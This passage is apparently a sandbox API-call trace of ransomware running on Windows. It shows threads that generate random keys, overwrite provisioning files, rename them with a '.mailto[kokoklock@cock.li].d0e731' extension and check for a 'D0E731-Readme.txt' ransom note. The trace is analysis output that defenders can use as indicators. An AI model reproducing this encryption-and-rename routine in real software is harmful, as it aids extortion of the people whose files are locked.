BaseAddress=0x55dc2a0) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.142] CloseHandle (hObject=0x3d0) returned 1 [0087.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x190) returned 0x33fc9c8 [0087.143] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" [0087.143] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.143] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.143] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.144] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.144] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.144] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.144] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6bc0) returned 1 [0087.144] RtlExitUserThread (Status=0x1) Thread: id = 1347 os_tid = 0x10e8 [0087.148] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0087.148] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0087.148] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.148] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ee3fbb8 | out: lpFileSize=0x2ee3fbb8*=480) returned 1 [0087.149] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.149] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ee3fb8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x2ee3fb8c*, lpNumberOfBytesRead=0x2ee3fb88*=0x4, lpOverlapped=0x0) returned 1 [0087.150] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc548 [0087.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc610 [0087.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.150] NtQuerySystemTime (in: CurrentTime=0x2ee3fb64 | out: CurrentTime=0x2ee3fb64*=132121176450391402) returned 0x0 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x5839f249 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x8a5be590 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xe11b2d6a [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xbd82beb4 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xf189cca3 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x76e0024f [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x7afd4bba [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xa497c45d [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xee615039 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xb72be112 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x428a5447 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xed1cf51f [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x58166f64 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x962f33aa [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xe1fe1cc5 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x6cc30365 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xa2dc8009 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x2dbb3bed [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x6e94dd2d [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xf5683f95 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x34efa2fa [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xd6a035be [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x276f687b [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x852cbc06 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xb714d8c2 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x8702a919 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xe0d06df0 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xe4232791 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x8e28fb51 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xae35af05 [0087.150] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0xc32f01b1 [0087.151] RtlRandom (in: Seed=0x2ee3fb70 | out: Seed=0x2ee3fb70) returned 0x9a40d26a [0087.161] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x2ee3fb64, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ee3fb64*=0x1e0, lpOverlapped=0x0) returned 1 [0087.161] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ee3fb2c | out: lpNewFilePointer=0x0) returned 1 [0087.161] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ee3fb60, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ee3fb60*=0x1e0, lpOverlapped=0x0) returned 1 [0087.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc548 [0087.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc598 [0087.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc598) returned 1 [0087.161] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ee3fb5c, lpOverlapped=0x0 | out: lpBuffer=0x55dc548*, lpNumberOfBytesWritten=0x2ee3fb5c*=0x20, lpOverlapped=0x0) returned 1 [0087.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc548) returned 1 [0087.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0087.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0087.162] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2ee3fb88*=0x8, lpOverlapped=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ee3fba0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x2ee3fba0*, lpNumberOfBytesWritten=0x2ee3fb88*=0x4, lpOverlapped=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ee3fb88*=0x4, lpOverlapped=0x0) returned 1 [0087.162] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ee3fb88*=0x6c, lpOverlapped=0x0) returned 1 [0087.163] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x55dc610*, lpNumberOfBytesWritten=0x2ee3fb88*=0x20, lpOverlapped=0x0) returned 1 [0087.163] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ee3fb88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ee3fb88*=0x4, lpOverlapped=0x0) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc610) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc318) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.163] CloseHandle (hObject=0x3d0) returned 1 [0087.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33fc9c8 [0087.163] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0087.163] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0087.163] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.164] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.164] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0087.164] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0087.164] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.164] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.164] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0087.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342aaa0) returned 1 [0087.164] RtlExitUserThread (Status=0x1) Thread: id = 1348 os_tid = 0x10ec [0087.166] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.166] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.166] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.166] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2eebfbe8 | out: lpFileSize=0x2eebfbe8*=720) returned 1 [0087.166] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.166] ReadFile (in: hFile=0x3d0, lpBuffer=0x2eebfbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x2eebfbbc*, lpNumberOfBytesRead=0x2eebfbb8*=0x4, lpOverlapped=0x0) returned 1 [0087.168] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc548 [0087.168] NtQuerySystemTime (in: CurrentTime=0x2eebfb94 | out: CurrentTime=0x2eebfb94*=132121176450547885) returned 0x0 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xa34e6ef6 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x421eb604 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x2ceba2f1 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xce8bc0d0 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x9cb61d68 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x92513489 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xb70d682f [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x3bc180b9 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xa6ae3872 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x53753a07 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xe805656d [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xfc3056e7 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xd81f0411 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x546e42b6 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x2a9d76a3 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x6412d242 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xd780c62f [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x761fce5a [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x81aba080 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x8e650798 [0087.168] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x89f049f0 [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xf941e526 [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xee79315c [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xc358d3b4 [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xf6f92272 [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xd1306c2e [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xf1cfc5bf [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xa175c556 [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x6c572208 [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x22262f9b [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0xd0d6a87b [0087.169] RtlRandom (in: Seed=0x2eebfba0 | out: Seed=0x2eebfba0) returned 0x55f14413 [0087.179] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x2eebfb94, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2eebfb94*=0x2d0, lpOverlapped=0x0) returned 1 [0087.179] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eebfb5c | out: lpNewFilePointer=0x0) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2eebfb90, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2eebfb90*=0x2d0, lpOverlapped=0x0) returned 1 [0087.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2eebfb8c, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2eebfb8c*=0x20, lpOverlapped=0x0) returned 1 [0087.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2eebfbb8*=0x8, lpOverlapped=0x0) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x2eebfbd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x2eebfbd0*, lpNumberOfBytesWritten=0x2eebfbb8*=0x4, lpOverlapped=0x0) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, 